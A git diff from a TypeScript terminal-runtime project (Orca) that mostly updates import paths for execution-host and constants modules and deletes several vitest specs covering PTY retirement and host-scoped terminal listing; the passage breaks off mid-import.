b/src/main/runtime/terminal/query/pty-inventory-liveness-verdict.spec.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from 'vitest' import { OrcaRuntimeService } from '../../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' export function registerPtyInventoryLivenessVerdictTests(): void { // Aggregate inventory may omit a disconnected relay; only its owner's evidence can distinguish exit from lost contact. diff --git a/src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts b/src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts index 89fb6831e02..e552a5231ba 100644 --- a/src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts +++ b/src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts @@ -1,5 +1,3 @@ -import { registerTerminalListExecutionHostScopeTests } from './terminal-list-execution-host-scope.spec' import { registerPtyInventoryLivenessVerdictTests } from './pty-inventory-liveness-verdict.spec' -registerTerminalListExecutionHostScopeTests() registerPtyInventoryLivenessVerdictTests() diff --git a/src/main/runtime/terminal/query/runtime-terminal-list.ts b/src/main/runtime/terminal/query/runtime-terminal-list.ts index 83b92260f6a..aea4cc046bf 100644 --- a/src/main/runtime/terminal/query/runtime-terminal-list.ts +++ b/src/main/runtime/terminal/query/runtime-terminal-list.ts @@ -3,7 +3,7 @@ import type { RuntimeTerminalListResult, RuntimeTerminalSummary } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { PtyControllerInventory } from '../lifecycle/runtime-pty-controller-contract' import type { ResolvedWorktreeSnapshot } from '../../workspaces/catalog/runtime-resolved-worktree-cache' diff --git a/src/main/runtime/terminal/query/terminal-list-execution-host-scope.spec.ts b/src/main/runtime/terminal/query/terminal-list-execution-host-scope.spec.ts deleted file mode 100644 index 55789cbd5cb..00000000000 --- a/src/main/runtime/terminal/query/terminal-list-execution-host-scope.spec.ts +++ /dev/null @@ -1,119 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { OrcaRuntimeService } from '../../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import '../../../../shared/workspace/identity/workspace-scope' -import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' -import { type ExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { PtyProcessInfo } from '../../../providers/pty/process-info' - -export function registerTerminalListExecutionHostScopeTests(): void { - // A scoped list must identify its hosts so omitting a live remote worker cannot be mistaken for exit. - - const LOCAL_WORKTREE_ID = 'repo-local::/tmp/local-worktree' - - const REPOS = [ - { - id: 'repo-local', - path: '/tmp/local-worktree', - displayName: 'local', - badgeColor: '#000000', - addedAt: 0 - }, - { - id: 'repo-ssh', - path: '/remote/ssh-worktree', - displayName: 'ssh', - badgeColor: '#000000', - addedAt: 0, - connectionId: 'box-1' - } - ] - - function makeStore() { - const session: WorkspaceSessionState = getDefaultWorkspaceSession() - return { - getWorkspaceSession: vi.fn(() => session), - getWorkspaceSessionHostIds: vi.fn(() => ['local', 'ssh:box-1']), - getFolderWorkspaces: vi.fn((): FolderWorkspace[] => []), - getProjectGroups: vi.fn(() => []), - setWorkspaceSession: vi.fn(), - getRepos: vi.fn(() => REPOS), - getRepo: vi.fn((id: string) => REPOS.find((repo) => repo.id === id)), - getAllWorktreeMeta: vi.fn(() => ({})), - getWorktreeMeta: vi.fn(() => undefined), - setWorktreeMeta: vi.fn(), - removeWorktreeMeta: vi.fn(), - getSettings: vi.fn(() => ({ workspaceDir: '/tmp/workspaces' })), - getProjects: vi.fn(() => []) - } - } - - type GraphLeaf = { worktreeId: string; leafId: string; ptyId: string } - - async function makeRuntime( - leaves: GraphLeaf[], - store = makeStore() - ): Promise { - const runtime = new OrcaRuntimeService(store as never) - runtime.setPtyController({ - spawn: vi.fn(async () => ({ id: 'never' })), - write: () => true, - kill: () => true, - listProcesses: vi.fn(async () => leaves.map((leaf) => ({ id: leaf.ptyId, cwd: '/tmp' }))) - } as never) - runtime.attachWindow(1) - await runtime.syncWindowGraph(1, { - tabs: leaves.map((leaf, index) => ({ - tabId: `tab-${index + 1}`, - worktreeId: leaf.worktreeId, - title: '', - activeLeafId: leaf.leafId, - layout: null - })), - leaves: leaves.map((leaf, index) => ({ - tabId: `tab-${index + 1}`, - worktreeId: leaf.worktreeId, - leafId: leaf.leafId, - paneRuntimeId: index + 1, - ptyId: leaf.ptyId, - paneTitle: null, - title: '' - })) - }) - return runtime - } - - describe('listTerminals scope declaration', () => { - // A targeted listing a newer census overtook joins that census instead of answering for no - // host; re-listing would overtake the newer one in turn (two workspaces sleeping at once). - it('answers from a newer concurrent inventory refresh instead of an empty scope', async () => { - const runtime = await makeRuntime([]) - const releases: (() => void)[] = [] - const listProcessesWithHostScope = vi.fn( - () => - new Promise<{ processes: PtyProcessInfo[]; hostIds: ExecutionHostId[] }>((resolve) => { - releases.push(() => resolve({ processes: [], hostIds: [LOCAL_EXECUTION_HOST_ID] })) - }) - ) - runtime.setPtyController({ - write: () => true, - kill: () => true, - getForegroundProcess: async () => null, - listProcesses: vi.fn(async () => []), - listProcessesWithHostScope - }) - - const superseded = runtime.listTerminals(`id:${LOCAL_WORKTREE_ID}`) - await vi.waitFor(() => expect(releases).toHaveLength(1)) - const current = runtime.listTerminals(`id:${LOCAL_WORKTREE_ID}`) - await vi.waitFor(() => expect(releases).toHaveLength(2)) - releases[1]!() - releases[0]!() - - expect((await superseded).hostScope?.hostIds).toEqual(['local']) - expect((await current).hostScope?.hostIds).toEqual(['local']) - expect(listProcessesWithHostScope).toHaveBeenCalledTimes(2) - }) - }) -} diff --git a/src/main/runtime/terminal/query/terminal-list-host-scope.ts b/src/main/runtime/terminal/query/terminal-list-host-scope.ts index 30a940c4db7..4419b1946c9 100644 --- a/src/main/runtime/terminal/query/terminal-list-host-scope.ts +++ b/src/main/runtime/terminal/query/terminal-list-host-scope.ts @@ -4,10 +4,10 @@ import { getRepoExecutionHostId, parseExecutionHostId, toSshExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { RuntimeTerminalSummary } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' import type { ResolvedWorktree } from '../../workspaces/catalog/runtime-worktree-path-identity' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { RuntimeFederationOperations } from '../../orchestration/federation/runtime-federation-operations' export abstract class TerminalListHostScope extends RuntimeFederationOperations { diff --git a/src/main/runtime/terminal/recovery/shutdown-reconnect-facts.ts b/src/main/runtime/terminal/recovery/shutdown-reconnect-facts.ts index fc27c53da1f..d0618583e39 100644 --- a/src/main/runtime/terminal/recovery/shutdown-reconnect-facts.ts +++ b/src/main/runtime/terminal/recovery/shutdown-reconnect-facts.ts @@ -1,7 +1,7 @@ // Derive shutdown reconnect facts from main-owned layout, terminal records and SSH connections, matching window capture rules without depending on window saves. import { isPaneSleepRecord } from '../../../../shared/agent-session/lifecycle/agent-session-resume' -import { isOwnedSshTargetId } from '../../../../shared/execution-host' +import { isOwnedSshTargetId } from '../../../../shared/execution-host/execution-host' import { parseAppSshPtyId } from '../../../../shared/remote-runtime/ssh/ssh-pty-id' import type { SshConnectionStatus } from '../../../../shared/remote-runtime/ssh/ssh-types' import { collectLayoutLeafIdsInOrder } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-tree' diff --git a/src/main/runtime/terminal/stop/project-terminal-stop.ts b/src/main/runtime/terminal/stop/project-terminal-stop.ts index c1d23b8d39a..b25ac1ef769 100644 --- a/src/main/runtime/terminal/stop/project-terminal-stop.ts +++ b/src/main/runtime/terminal/stop/project-terminal-stop.ts @@ -5,7 +5,7 @@ import { getRepoSshConnectionId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { HostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id' import type { Repo } from '../../../../shared/repository/repo-types' diff --git a/src/main/runtime/terminal/stop/worktree-sleep-resume-recording.ts b/src/main/runtime/terminal/stop/worktree-sleep-resume-recording.ts index 1e4a2a3b419..804b58aec90 100644 --- a/src/main/runtime/terminal/stop/worktree-sleep-resume-recording.ts +++ b/src/main/runtime/terminal/stop/worktree-sleep-resume-recording.ts @@ -23,7 +23,10 @@ import type { import type { SleepingAgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-resume' import { agentProviderSessionsEqual } from '../../../../shared/agent-session/lifecycle/resume/agent-provider-session-equality' -import { type ExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host' +import { + type ExecutionHostId, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/terminal/stop/worktree-terminal-sleep-key.ts b/src/main/runtime/terminal/stop/worktree-terminal-sleep-key.ts index f9b35f6a9c4..9f644ac46b3 100644 --- a/src/main/runtime/terminal/stop/worktree-terminal-sleep-key.ts +++ b/src/main/runtime/terminal/stop/worktree-terminal-sleep-key.ts @@ -1,7 +1,7 @@ import { getConnectionExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { worktreeIdentityKey } from '../../../../shared/worktree/id' import { composeWorktreeHostIdentity, diff --git a/src/main/runtime/terminal/stop/worktree-terminal-stop.ts b/src/main/runtime/terminal/stop/worktree-terminal-stop.ts index 62437d94c48..447d455df42 100644 --- a/src/main/runtime/terminal/stop/worktree-terminal-stop.ts +++ b/src/main/runtime/terminal/stop/worktree-terminal-stop.ts @@ -17,7 +17,7 @@ import { getWorktreeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { WorktreePtyHostFence } from '../../workspaces/removal/worktree-pty-host-fence' import { collectWorktreePtyIds } from './worktree-pty-collection' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' diff --git a/src/main/runtime/terminal/surface/main-terminal-surfaces-host.ts b/src/main/runtime/terminal/surface/main-terminal-surfaces-host.ts index 0e2cea6c5cd..6ed1a8a6ade 100644 --- a/src/main/runtime/terminal/surface/main-terminal-surfaces-host.ts +++ b/src/main/runtime/terminal/surface/main-terminal-surfaces-host.ts @@ -1,5 +1,5 @@ import type { PaneStartFactOf } from './pane-start-statuses' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RuntimeSyncWindowGraph, RuntimeMobileSessionTabsSnapshot diff --git a/src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts b/src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts index 7490f69ea77..7dc90aee974 100644 --- a/src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts +++ b/src/main/runtime/terminal/surface/mobile-session-terminal-persistence-retirement.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { retireTerminalSurfaceFromPersistence, sanitizeWorkspaceSessionTerminalRetirements diff --git a/src/main/runtime/terminal/surface/orca-runtime-terminal-close-records.test.ts b/src/main/runtime/terminal/surface/orca-runtime-terminal-close-records.test.ts index 33036d33c4f..a1f24fa9093 100644 --- a/src/main/runtime/terminal/surface/orca-runtime-terminal-close-records.test.ts +++ b/src/main/runtime/terminal/surface/orca-runtime-terminal-close-records.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { Store } from '../../../persistence/loading-store/store' diff --git a/src/main/runtime/terminal/surface/orca-runtime-terminal-close-spill-partition.spec.ts b/src/main/runtime/terminal/surface/orca-runtime-terminal-close-spill-partition.spec.ts index d2908a7c6a0..e273d424a77 100644 --- a/src/main/runtime/terminal/surface/orca-runtime-terminal-close-spill-partition.spec.ts +++ b/src/main/runtime/terminal/surface/orca-runtime-terminal-close-spill-partition.spec.ts @@ -1,8 +1,8 @@ import '../../orca-runtime-tests/runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' +import '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import '../../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement-host-partition.spec.ts b/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement-host-partition.spec.ts index 23693684224..5b90d7db9d1 100644 --- a/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement-host-partition.spec.ts +++ b/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement-host-partition.spec.ts @@ -1,7 +1,10 @@ import { withDurableRuntimeStore } from '../../orca-runtime-tests/runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { OrcaRuntimeService } from '../../orca-runtime' @@ -301,75 +304,5 @@ export function registerOrcaRuntimeTerminalRetirementHostPartitionTests(): void physicalStop.resolve() await expect(stopping).resolves.toEqual({ stopped: 2 }) }) - - it('continues stopping later PTYs when one provider retirement rejects', async () => { - const harness = partitionedStore() - const runtime = new OrcaRuntimeService(harness.store) - const stopAndWait = vi.fn(async (ptyId: string) => { - if (ptyId === SSH_PTY_LEFT) { - throw new Error('relay_unavailable') - } - return true - }) - runtime.setPtyController({ - write: () => true, - kill: vi.fn(() => true), - stopAndWait, - getForegroundProcess: async () => null - }) - await syncSshSplit(runtime, makeSshSnapshot()) - runtime.registerPty(SSH_PTY_LEFT, SSH_WORKTREE_ID, CONNECTION_ID, { - tabId: 'tab', - leafId: 'left' - }) - runtime.registerPty(SSH_PTY_RIGHT, SSH_WORKTREE_ID, CONNECTION_ID, { - tabId: 'tab', - leafId: 'right' - }) - - await expect( - runtime.stopTerminalsForWorktree(`id:${SSH_WORKTREE_ID}`, { - resolvedWorktreeId: SSH_WORKTREE_ID - }) - ).resolves.toEqual({ stopped: 1 }) - expect(stopAndWait).toHaveBeenNthCalledWith(1, SSH_PTY_LEFT) - expect(stopAndWait).toHaveBeenNthCalledWith(2, SSH_PTY_RIGHT) - }) - - it('retires an exited SSH pane from the SSH partition and leaves the local partition untouched', async () => { - const harness = partitionedStore() - const localBefore = harness.sessions.get(LOCAL_EXECUTION_HOST_ID)! - const runtime = new OrcaRuntimeService(harness.store) - runtime.attachWindow(1) - await syncSshSplit(runtime, makeSshSnapshot()) - runtime.registerPty(SSH_PTY_LEFT, SSH_WORKTREE_ID, CONNECTION_ID, { - tabId: 'tab', - leafId: 'left', - incarnationId: 'incarnation-a' - }) - - await runtime.onPtyExit(SSH_PTY_LEFT, 0, 'incarnation-a') - - expect(harness.writes.map((write) => write.hostId)).toEqual([SSH_HOST_ID]) - const sshSession = harness.sessions.get(SSH_HOST_ID)! - expect(sshSession.terminalLayoutsByTabId.tab).toMatchObject({ - root: { type: 'leaf', leafId: 'right' }, - ptyIdsByLeafId: { right: SSH_PTY_RIGHT } - }) - expect(sshSession.tabsByWorktree[SSH_WORKTREE_ID]).toEqual([ - expect.objectContaining({ id: 'tab', ptyId: SSH_PTY_RIGHT }) - ]) - expect(sshSession.terminalTopologyRevisionByRepoId).toMatchObject({ [SSH_REPO_ID]: 1 }) - - // Negative safety: the local partition is a different host and must not move. - expect(harness.sessions.get(LOCAL_EXECUTION_HOST_ID)).toBe(localBefore) - expect( - harness.sessions.get(LOCAL_EXECUTION_HOST_ID)?.terminalTopologyRevisionByRepoId - ).toEqual(localBefore.terminalTopologyRevisionByRepoId) - - expect((await runtime.listMobileSessionTabs(`id:${SSH_WORKTREE_ID}`)).tabs).toEqual([ - expect.objectContaining({ id: 'tab::right' }) - ]) - }) }) } diff --git a/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts b/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts index 7afe678551c..ed8be3cebc2 100644 --- a/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts +++ b/src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts @@ -1,11 +1,8 @@ -import { withDurableRuntimeStore } from '../../orca-runtime-tests/runtime-durable-store-fixture' +import '../../orca-runtime-tests/runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' -import type { - RuntimeMobileSessionTabsResult, - RuntimeMobileSessionTabsSnapshot -} from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' +import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { OrcaRuntimeService } from '../../orca-runtime' @@ -150,29 +147,6 @@ function makePersistedSplitSession(): WorkspaceSessionState { } describe('OrcaRuntimeService terminal surface retirement', () => { - it('fences an early-exited replacement even when its pane already exists', async () => { - const runtime = new OrcaRuntimeService() - runtime.attachWindow(1) - await syncSplit(runtime) - runtime.registerPty('pty-left', WORKTREE_ID, null, { - tabId: 'tab', - leafId: 'left', - incarnationId: 'incarnation-old' - }) - - runtime.onPtySpawned('pty-left', 'incarnation-replacement') - await runtime.onPtyExit('pty-left', 0, 'incarnation-replacement') - - expect(() => - runtime.assertPtyRegistrationAllowed('pty-left', 'incarnation-replacement') - ).toThrow('agent_session_exited_during_start') - runtime.releaseRejectedPtyRegistrationFence('pty-left', 'incarnation-replacement') - const internals = runtime as unknown as { - pendingPtyRegistrationIncarnations: Map - } - expect(internals.pendingPtyRegistrationIncarnations.size).toBe(0) - }) - it('retires the exact split leaf and rejects a stale renderer resurrection', async () => { const runtime = new OrcaRuntimeService() runtime.attachWindow(1) @@ -249,115 +223,4 @@ describe('OrcaRuntimeService terminal surface retirement', () => { ]) expect(setWorkspaceSession).not.toHaveBeenCalled() }) - - it('publishes only same-repo retirements individually accepted by persistence', async () => { - let session = makePersistedSplitSession() - session.terminalLayoutsByTabId.tab.ptyIdsByLeafId = { - left: 'pty-shared', - right: 'pty-shared' - } - session.tabsByWorktree[WORKTREE_ID]![0]!.ptyId = 'pty-shared' - session.terminalPtyIncarnationsByPaneKey = { - 'tab:left': 'incarnation-exiting', - 'tab:right': 'incarnation-newer' - } - const setWorkspaceSession = vi.fn((next: WorkspaceSessionState) => { - session = next - }) - const runtime = new OrcaRuntimeService( - runtimeStore( - withDurableRuntimeStore({ - getWorkspaceSession: () => session, - setWorkspaceSession, - flushOrThrow: vi.fn() - }) - ) - ) - runtime.attachWindow(1) - const snapshot = makeSplitSnapshot() - const sharedSnapshot: RuntimeMobileSessionTabsSnapshot = { - ...snapshot, - tabs: snapshot.tabs.map((tab) => - tab.type === 'terminal' - ? { - ...tab, - ptyId: 'pty-shared', - parentLayout: tab.parentLayout - ? { - ...tab.parentLayout, - ptyIdsByLeafId: { left: 'pty-shared', right: 'pty-shared' } - } - : undefined - } - : tab - ) - } - await syncSplit(runtime, sharedSnapshot) - runtime.registerPty('pty-shared', WORKTREE_ID, null, { - tabId: 'tab', - leafId: 'left', - incarnationId: 'incarnation-exiting' - }) - const published: RuntimeMobileSessionTabsResult[] = [] - const unsubscribe = runtime.onMobileSessionTabsChanged((event) => published.push(event)) - - await runtime.onPtyExit('pty-shared', 0, 'incarnation-exiting') - - expect(session.terminalLayoutsByTabId.tab).toMatchObject({ - root: { type: 'leaf', leafId: 'right' }, - ptyIdsByLeafId: { right: 'pty-shared' } - }) - expect(session.terminalPtyIncarnationsByPaneKey).toEqual({ - 'tab:right': 'incarnation-newer' - }) - expect(published.at(-1)?.tabs).toEqual([ - expect.objectContaining({ - ptyId: 'pty-shared', - parentLayout: expect.objectContaining({ root: { type: 'leaf', leafId: 'right' } }) - }) - ]) - expect((await runtime.listMobileSessionTabs(`id:${WORKTREE_ID}`)).tabs).toEqual([ - expect.objectContaining({ - ptyId: 'pty-shared', - parentLayout: expect.objectContaining({ root: { type: 'leaf', leafId: 'right' } }) - }) - ]) - expect(setWorkspaceSession).toHaveBeenCalledOnce() - unsubscribe() - }) - - it('keeps the in-memory retirement when the durable flush fails', async () => { - let session = makePersistedSplitSession() - const original = structuredClone(session) - const setWorkspaceSession = vi.fn((next: WorkspaceSessionState) => { - session = next - }) - const runtime = new OrcaRuntimeService( - runtimeStore( - withDurableRuntimeStore({ - getWorkspaceSession: () => session, - setWorkspaceSession, - flushOrThrow: vi.fn(() => { - throw new Error('disk unavailable') - }) - }) - ) - ) - runtime.attachWindow(1) - await syncSplit(runtime) - runtime.registerPty('pty-left', WORKTREE_ID, null, { - tabId: 'tab', - leafId: 'left', - incarnationId: 'incarnation-a' - }) - - const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => undefined) - - await runtime.onPtyExit('pty-left', 0, 'incarnation-a') - - expect(session).not.toEqual(original) - expect(session.terminalLayoutsByTabId.tab?.ptyIdsByLeafId).toEqual({ right: 'pty-right' }) - expect(setWorkspaceSession).toHaveBeenCalledOnce() - errorSpy.mockRestore() - }) }) diff --git a/src/main/runtime/terminal/surface/paired-close-retirement-proof-publication-order.spec.ts b/src/main/runtime/terminal/surface/paired-close-retirement-proof-publication-order.spec.ts index 48eabee662b..f350351f2ec 100644 --- a/src/main/runtime/terminal/surface/paired-close-retirement-proof-publication-order.spec.ts +++ b/src/main/runtime/terminal/surface/paired-close-retirement-proof-publication-order.spec.ts @@ -1,6 +1,6 @@ import { withDurableRuntimeStore } from '../../orca-runtime-tests/runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import { sessionLayoutApply } from '../../__fixtures__/main-layout-close-fixture' import type { diff --git a/src/main/runtime/terminal/surface/terminal-list-surface-lost-orphan.spec.ts b/src/main/runtime/terminal/surface/terminal-list-surface-lost-orphan.spec.ts index 58520764312..055cb76e786 100644 --- a/src/main/runtime/terminal/surface/terminal-list-surface-lost-orphan.spec.ts +++ b/src/main/runtime/terminal/surface/terminal-list-surface-lost-orphan.spec.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from 'vitest' import { OrcaRuntimeService } from '../../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { TerminalLayoutSnapshot, diff --git a/src/main/runtime/terminal/surface/terminal-surface-close.ts b/src/main/runtime/terminal/surface/terminal-surface-close.ts index 2ca4b6878af..36c83137112 100644 --- a/src/main/runtime/terminal/surface/terminal-surface-close.ts +++ b/src/main/runtime/terminal/surface/terminal-surface-close.ts @@ -16,7 +16,7 @@ import { import { retireTerminalSurfaceFromPersistence } from './mobile-session-terminal-persistence-retirement' import { advanceTerminalTopologyRevision } from '../../../persistence/terminal-topology/pane-ownership/terminal-topology-membership' import type { DurableProfileStateMutation } from '../../../persistence/loading-store/store-runtime-state' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { capturePersistedTerminalTabCopy, isSamePersistedTerminalTabCopy, diff --git a/src/main/runtime/terminal/surface/terminal-surface-index.ts b/src/main/runtime/terminal/surface/terminal-surface-index.ts index dd91f2cf58e..25311713fbc 100644 --- a/src/main/runtime/terminal/surface/terminal-surface-index.ts +++ b/src/main/runtime/terminal/surface/terminal-surface-index.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { RuntimeSyncedLeaf, RuntimeSyncedTab, diff --git a/src/main/runtime/terminal/surface/terminal-surface-replies.test-fixture.ts b/src/main/runtime/terminal/surface/terminal-surface-replies.test-fixture.ts index 30c544837c8..d1f93d694c5 100644 --- a/src/main/runtime/terminal/surface/terminal-surface-replies.test-fixture.ts +++ b/src/main/runtime/terminal/surface/terminal-surface-replies.test-fixture.ts @@ -15,7 +15,7 @@ import { import type { RuntimeSyncWindowGraph } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { RuntimeTerminalShow } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { LayoutCommand } from '../../../../shared/workspace-layout/workspace-layout-command-types' import { applyCommandToSession } from '../../../persistence/terminal-topology/pane-admission/terminal-pane-admission' import { partialRuntimeStore } from '../../orca-runtime-tests/runtime-store-partial-fixture' diff --git a/src/main/runtime/terminal/surface/workspace-layout-operation-frames.test.ts b/src/main/runtime/terminal/surface/workspace-layout-operation-frames.test.ts index cbb6d2ebe40..f51ac44d1c3 100644 --- a/src/main/runtime/terminal/surface/workspace-layout-operation-frames.test.ts +++ b/src/main/runtime/terminal/surface/workspace-layout-operation-frames.test.ts @@ -4,8 +4,8 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { GeneratedTabTitle } from '../../../../shared/workspace-layout/workspace-layout-command-types' import type { Store } from '../../../persistence/loading-store/store' diff --git a/src/main/runtime/terminal/surface/workspace-layout-projection.ts b/src/main/runtime/terminal/surface/workspace-layout-projection.ts index c9b9d8b2fcd..db5d1b2b52c 100644 --- a/src/main/runtime/terminal/surface/workspace-layout-projection.ts +++ b/src/main/runtime/terminal/surface/workspace-layout-projection.ts @@ -1,6 +1,6 @@ // Reproject dirty Store partitions and publish each workspace only from its owning partition. -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import { loadWorkspaceLayoutWithoutReport } from '../../../../shared/workspace-layout/persistence/workspace-layout-load' import { stableJson } from '../../../../shared/workspace-layout/persistence/workspace-layout-load-report' diff --git a/src/main/runtime/terminal/surface/workspace-layout-stream.test.ts b/src/main/runtime/terminal/surface/workspace-layout-stream.test.ts index f721e7a5b7a..6a950161871 100644 --- a/src/main/runtime/terminal/surface/workspace-layout-stream.test.ts +++ b/src/main/runtime/terminal/surface/workspace-layout-stream.test.ts @@ -1,5 +1,8 @@ import { describe, expect, it, vi } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { localDesktopSession, diff --git a/src/main/runtime/terminal/surface/workspace-layout-stream.ts b/src/main/runtime/terminal/surface/workspace-layout-stream.ts index 3f8f79b1dbc..056d65b6ed2 100644 --- a/src/main/runtime/terminal/surface/workspace-layout-stream.ts +++ b/src/main/runtime/terminal/surface/workspace-layout-stream.ts @@ -2,7 +2,7 @@ // Main-owned layouts emit one records frame per operation, coalescing unscoped writes per task; window-owned layouts emit whole workspaces. import { randomUUID } from 'node:crypto' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from 